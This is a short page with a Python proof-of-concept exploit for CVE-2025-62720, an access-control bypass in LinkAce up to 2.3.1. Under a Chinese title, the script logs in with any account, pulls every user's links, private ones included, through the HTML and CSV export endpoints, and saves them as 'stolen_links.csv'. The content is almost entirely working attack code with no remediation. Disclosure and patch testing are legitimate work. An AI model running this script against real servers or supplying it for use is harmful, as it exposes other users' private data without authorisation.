CVE-2025-62720 LinkAce ExportController 权限绕过漏洞

import requests import json # CVE-2025-62720 PoC - LinkAce Access Control Bypass # Target: LinkAce <= 2.3.1 # Attack: Authenticated user can export all links including private ones base_url = "http://target-host:8100" # Step 1: Login with any valid user account login_url = f"{base_url}/api/auth/login" login_data = { "email": "[email protected]", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) token = response.json().get('access_token') # Step 2: Export all links (bypass access control) # The export function does not filter by ownership headers = {"Authorization": f"Bearer {token}"} # Export as HTML html_export_url = f"{base_url}/api/export/links/html" html_response = session.get(html_export_url, headers=headers) print(f"HTML Export Status: {html_response.status_code}") print(f"Contains private links: {'Private Link' in html_response.text}") # Export as CSV csv_export_url = f"{base_url}/api/export/links/csv" csv_response = session.get(csv_export_url, headers=headers) print(f"CSV Export Status: {csv_response.status_code}") # Step 3: Parse and save stolen data if csv_response.status_code == 200: with open('stolen_links.csv', 'w') as f: f.write(csv_response.text) print("All links exported successfully - Access Control Bypassed!")